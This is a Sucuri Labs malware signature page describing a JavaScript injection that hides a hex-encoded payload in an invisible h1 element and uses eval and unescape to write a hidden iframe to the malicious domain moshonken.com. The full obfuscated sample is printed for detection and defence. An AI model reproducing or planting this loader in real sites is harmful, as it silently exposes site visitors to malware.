malware-entry-mwiframehd31

Description: Javascript encoded used to hide an iframe.

It uses javascript to read an encoded text from inside the html page. Once
decoded, it loads a malicious iframe to the site visitor.

Domains used to host the malware:
http://moshonken.com (and many others)

Affecting: Any web site (no specific target)

Malware sample:

<br /> <h1 id="zve" style="display:none">#64#6f#63#75#6d#65#6e#74#2e#77#72#69#74#65#28#22#3c#69#66#72#61#6d#65#20#73#72#63#3d#27#68#74#74#70#3a#2f#2f#6d#6f#73#68#6f#6e#6b#65#6e#2e#63#6f#6d#2f#69#6e#64#65#78#2e#70#68#70#27#20#73#74#79#6c#65#3d#27#64#69#73#70#6c#61#79#3a#6e#6f#6e#65#3b#27#3e#3c#2f#69#66#72#61#6d#65#3e#22#29#3b</h1>< script &gt > var/<strong>/NLl=eval/<em>zve</em>/, zve/<em>NLl</em>/=/</strong>/document.getElementById("zve").innerHTML/<em>NLl</em>/,jaa=/<strong>/unescape;;;/</strong>/NLl(jaa(zve.replace(/[+#]/g,"%")/<em>jaa</em>/)/<em>JkZ</em>/);/<em>NLl</em>/;/<em>zve</em>/< /script ><br /> </code></pre></p> </div><!-- .entry-content --> <footer class="entry-footer wedocs-entry-footer"> <div class="wedocs-article-author" itemprop="author" itemscope itemtype="https://schema.org/Person"> <meta itemprop="name" content="Rodrigo Escobar" /> <meta itemprop="url" content="https://labs.sucuri.net/author/rodrigo-escobar/" /> </div> <meta itemprop="datePublished" content="2019-05-16T00:00:00+00:00"/> <time itemprop="dateModified" datetime=""></time> </footer> <nav class="wedocs-doc-nav wedocs-hide-print"><h3 class="assistive-text screen-reader-text">Doc navigation</h3><span class="nav-prev"><a href="https://labs.sucuri.net/signatures/sitecheck/malware-entry-mwiframehd301/">← malware-entry-mwiframehd301</a></span><span class="nav-next"><a href="https://labs.sucuri.net/signatures/sitecheck/malware-entry-mwiframehd55/">malware-entry-mwiframehd55 →</a></span></nav> </article><!-- #post-## --> </div><!-- .wedocs-single-content --> </div><!-- .wedocs-single-wrap --> </main><!-- .site-main --></div><!-- .content-area --> </div><!-- #content --> <footer id="n-footer"> <div id="mp-footer" class="container"> <div class="row"> <div class="c-lg-12"> <div class="row"> <div class="c-lg-3 c-md-3 px-50"> <div class="footer-products"> <div class="footer-heading"> <p>Products</p> </div> <div class="footer-menu"> <ul class="list-block list-unstyled"> <li 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